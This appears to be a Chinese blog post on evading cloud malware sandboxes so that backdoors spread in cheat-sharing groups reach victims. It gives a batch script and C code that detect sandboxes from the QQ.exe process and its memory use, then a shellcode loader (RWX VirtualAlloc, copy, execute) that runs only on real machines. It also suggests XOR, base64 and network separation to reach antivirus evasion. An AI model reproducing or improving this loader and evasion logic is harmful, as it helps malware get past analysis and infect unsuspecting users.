0x00 为什么要写这个玩意
随着云沙箱的普及,后门是越来越不好搞了,之前随便往挂群里发个格盘锁机都会有一堆小学生抢着下,现在有点脑子的都会先传个云沙箱看看,正好最近在学C,想着搓一个玩一玩
0x01 以前的思路
参考了一下网上的文章,发现大多数实现方式都很复杂,比如检测鼠标运动和依靠沙箱会加速sleep但是不会加速gettickcount的特性,这我肯定做不出来,但我对进程方面的操作比较熟悉
先简单用批处理写了一个检测QQ进程是否存在的脚本,这种方法虽然比较武断但也有它的合理之处,毕竟QQ作为国民级通讯软件装机量还是很高的
@echo off
:loop
tasklist | findstr /i "qq.exe"
if errorlevel 1 (
echo 不存在
ping -n 1 127.0.0.1 >nul
goto :loop
) else (
echo 存在
ping -n 1 127.0.0.1 >nul
goto loop
)
上传之后发现是这样的
0x02 我自己的方法
很显然这种远古方法是行不通的,但是我们这里也发现了很关键的一点,QQ.exe进程的占用只有1592K,这很显然不是真正的QQ进程,有可能是空壳程序或者是系统拦截了相关的API函数,给我们返回假的数据
为了验证这个想法,我又扔了个tasklist上去
果然不出所料,占用一直都是这么小
那我们就可以通过检测QQ进程占用内存的大小来判断是否是沙箱
废话不多说直接上代码
#include <windows.h>
#include <tchar.h>
#include <psapi.h>
void main() {
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
bool isQQExeExist = false;
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded)) {
return;
}
cProcesses = cbNeeded / sizeof(DWORD);
for (i = 0; i < cProcesses; i++) {
if (aProcesses[i] != 0) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, aProcesses[i]);
if (NULL != hProcess) {
HMODULE hMod;
DWORD cbNeeded;
if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),
&cbNeeded)) {
GetModuleBaseName(hProcess, hMod, szProcessName,
sizeof(szProcessName) / sizeof(TCHAR));
if (_tcsicmp(szProcessName, _T("QQ.exe")) == 0) {
isQQExeExist = true;
PROCESS_MEMORY_COUNTERS_EX pmc;
pmc.cb = sizeof(pmc);
if (GetProcessMemoryInfo(hProcess, (PROCESS_MEMORY_COUNTERS*)&pmc, sizeof(pmc))) {
if (pmc.PrivateUsage / 1024 > 10240) {
_tprintf(TEXT("ok\n"));
system("pause");
}
else {
_tprintf(TEXT("sandbox2\n"));
system("pause");
}
}
}
}
}
CloseHandle(hProcess);
}
}
if (!isQQExeExist) {
_tprintf(TEXT("sandbox1\n"));
system("pause");
}
}
这个程序如果没有检测到QQ的进程就会输出sandbox1
检测到QQ的进程后如果QQ的进程使用内存小于10240K(也就是10M)就会输出sandbox2
存在QQ进程且进程占用大于10240K时才会输出ok
下面三张图分别是关闭QQ,使用空壳QQ与真QQ时的程序输出
可以看出确实是有一点用的,上传微步后微步却崩了,显示无法分析
请教了一下,发现这是因为程序崩了导致的
想了个办法,用另一个空壳程序把它拉起来,结果既输出到控制台上又输出txt文本,这样就可以在微步的文件释放那里看到结果,在本地调试了一下发现没问题,这下检测报告是出来了,但是没有看到命令行输出和文件输出,只看到了那个空壳程序,这里估计QQ的进程是通过拦截了相关的API函数,给我们返回假的数据,但是很显然做戏没有做全套,程序在沙箱里也是无法运行的
为了验证,我们给代码加入shellcode加载功能
#include <stdio.h>
#include <windows.h>
#include <tchar.h>
#include <psapi.h>
#include <stdlib.h>
using namespace std;
void main() {
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
bool isQQExeExist = false;
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded)) {
return;
}
cProcesses = cbNeeded / sizeof(DWORD);
for (i = 0; i < cProcesses; i++) {
if (aProcesses[i] != 0) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, aProcesses[i]);
if (NULL != hProcess) {
HMODULE hMod;
DWORD cbNeeded;
if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),
&cbNeeded)) {
GetModuleBaseName(hProcess, hMod, szProcessName,
sizeof(szProcessName) / sizeof(TCHAR));
if (_tcsicmp(szProcessName, _T("QQ.exe")) == 0) {
isQQExeExist = true;
PROCESS_MEMORY_COUNTERS_EX pmc;
pmc.cb = sizeof(pmc);
if (GetProcessMemoryInfo(hProcess, (PROCESS_MEMORY_COUNTERS*)&pmc, sizeof(pmc))) {
if (pmc.PrivateUsage / 1024 > 10240) {
char shellcode[] = "把你的shellcode填写在这里";
LPVOID lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpAlloc, shellcode, sizeof shellcode);
((void(*)())lpAlloc)();
}
else {
exit(0);
}
}
}
}
}
CloseHandle(hProcess);
}
}
if (!isQQExeExist) {
exit(0);
}
}
上传微步看看
不出所料的分析失败,除了几个引擎的检出率啥都没有
本地测试正常上线,可以去B站看我发的视频
这里shellcode加载器用的就是最普通的那种什么都没有,相信各位大佬稍微改一改加点什么网络分离,xor还有base64加密什么的应该就能很完美的免杀了
Tip:可以使用检测QQProtect.exe这个进程获得更好的效果,因为只要安装了QQ即使QQ不启动QQProtect.exe也会在开机时启动,不会出现QQ没有登陆而判断为沙箱的尴尬情况,这里使用QQ的主程序检测是为了方便调试
Comments | NOTHING